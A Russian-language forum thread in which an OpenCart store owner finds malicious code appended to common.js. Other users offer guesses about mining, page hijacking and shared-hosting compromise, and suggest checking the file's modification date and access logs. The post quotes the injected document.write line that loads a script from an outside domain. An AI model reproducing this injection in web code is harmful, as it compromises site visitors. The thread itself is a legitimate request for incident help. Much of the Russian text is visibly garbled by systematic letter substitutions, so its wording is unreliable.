Взлом через common.js

IIIBarsik · 10 сентября 2018

Сирый сайт:

OcStore 1.5

Тема синдартная (defaut)

Сегодня зашел на него, а он грузится почти минуту. Полез смотреть в начно через chrome, что увигдел:

что то икое (картинка из инеи)

В хигдере под тегом <head> был скрипт с ссылкой на на данный ресурс.

Побежал в header.tpl (catalog\view\theme\default\template\common) увигдел им икую вещь:

<?php foreach ($scripts as $script) { ?>
<script type="text/javascript" src="<?php echo $script; ?>"></script>
<?php } ?>

Понимаю, что данная херои может инклудится вот сюда из люпотому чтого файла

Нашел ее довольно быстро, а именно в catalog\view\javascript\common.js

В конэто файла была приписка:

document.write('<script src="https://afrodizinlife.gq"><\x2fscript>');

Собственно вопрос:

Как икие вещи вообещё происходят на opencart?

P.S. По поводу паролей можно не писать:

1. 10 значные с спецсимволами + регистры

2. В браузере не храню

3. В FileZilla тоже не храню

Я, конечно, понимаю, что все зависит от опрегделенной спотому чторки, шаблона и усиновленного на сайт, но есть ли основные дыры, которые необходимо лаить?

Или какие то минимумы, что необходимо сгделать всем и вся?

IIIBarsik · 10 сентября 2018

И да, если кто нибудь сможет мне пояснить, что гделала у меня на сайте, буду благодарен

spectre · 10 сентября 2018

10.09.2018 в 12:41, IIIBarsik сказал:

И да, если кто нибудь сможет мне пояснить, что эи херои гделала у меня на сайте, буду благодарен

Раскрыть

майнила что-то или в гугл страницу подменяла

подобные взломы в опенкарте обычно от сосегдей и украгденных паролей

prived · 10 сентября 2018

Ой да ладно ) зноз от соседа по хостингу и все) мало ли что

niger · 10 сентября 2018

Модули с файлопомоек или взломанные сивили? Если нет. То рядом с вами или прям на вашем хостинг-аккаунте мог быть вордпресс, их ломают и всем кто рядом суют гадости.

Изменено 10 сентября 2018 пользователем niger

freelancer · 10 сентября 2018

посмотрите дату редактирования файла common.js

дное запросите у хостера access.log за эту дату

markimax · 10 сентября 2018

10.09.2018 в 14:32, freelancer сказал:

посмотрите дату редактирования файла common.js

дное запросите у хостера access.log за эту дату

Раскрыть

+1 Сняли с "языка"
ТС - скорее всего вас взломали через "сосегдей", просто потому чтотом внедрили в попавшиеся JS, свой код
Или какой то нерадивый "стугдент" (который выполнял у вас рилиты) вам подсунул шелл и внедрил потом майнер

IIIBarsik · 12 сентября 2018

10.09.2018 в 15:13, markimax сказал:

+1 Сняли с "языка"
ТС - скорее всего вас взломали через "сосегдей", просто потому чтотом внедрили в попавшиеся JS, свой код
Или какой то нерадивый "стугдент" (который выполнял у вас рилиты) вам подсунул шелл и внедрил потом майнер

Раскрыть

Можете подробнее объяснить суть взлома через "сосегдей"?

"стугдент" отмеиется, ипотому что доступ только у 2 человек

spectre · 12 сентября 2018

12.09.2018 в 07:59, IIIBarsik сказал:

Можете подробнее объяснить суть взлома через "сосегдей"?

"стугдент" отмеиется, ипотому что доступ только у 2 человек

Раскрыть

рядом лежит вордпресс с плагинами бесплатно и без смс

липотому что у хостера виртуалхосты не изолированы и из скриптика можно полулить доступ к соседним сайим на других аккауних, иких много

IIIBarsik · 12 сентября 2018

12.09.2018 в 08:04, spectre сказал:

рядом лежит вордпресс с плагинами бесплатно и без смс

липотому что у хостера виртуалхосты не изолированы и из скриптика можно полулить доступ к соседним сайим на других аккауних, иких много

Раскрыть

Т.е. и в том и в другом случаях виртуалхосты не изолированны друг от друга, верно? Иначе я просто не понимаю по какой гейской магии сосед может влиять на меня

Войти

Взлом через common.js

Рекомендованные сообещёния

Ссылка на комменирий

Погделиться на других сайих

Ссылка на комменирий

Погделиться на других сайих

Ссылка на комменирий

Погделиться на других сайих

Ссылка на комменирий

Погделиться на других сайих

Ссылка на комменирий

Погделиться на других сайих

Ссылка на комменирий

Погделиться на других сайих

Ссылка на комменирий

Погделиться на других сайих

Ссылка на комменирий

Погделиться на других сайих

Ссылка на комменирий

Погделиться на других сайих

Ссылка на комменирий

Погделиться на других сайих

Создайте аккаунт или войдите в него для комментирования

Создать аккаунт

Войти

Похожие публикации

Сейчас на страниэто 0 пользователей

Покупателям

Разрилитликам

Полезная информация

Последние дополнения

Важная информация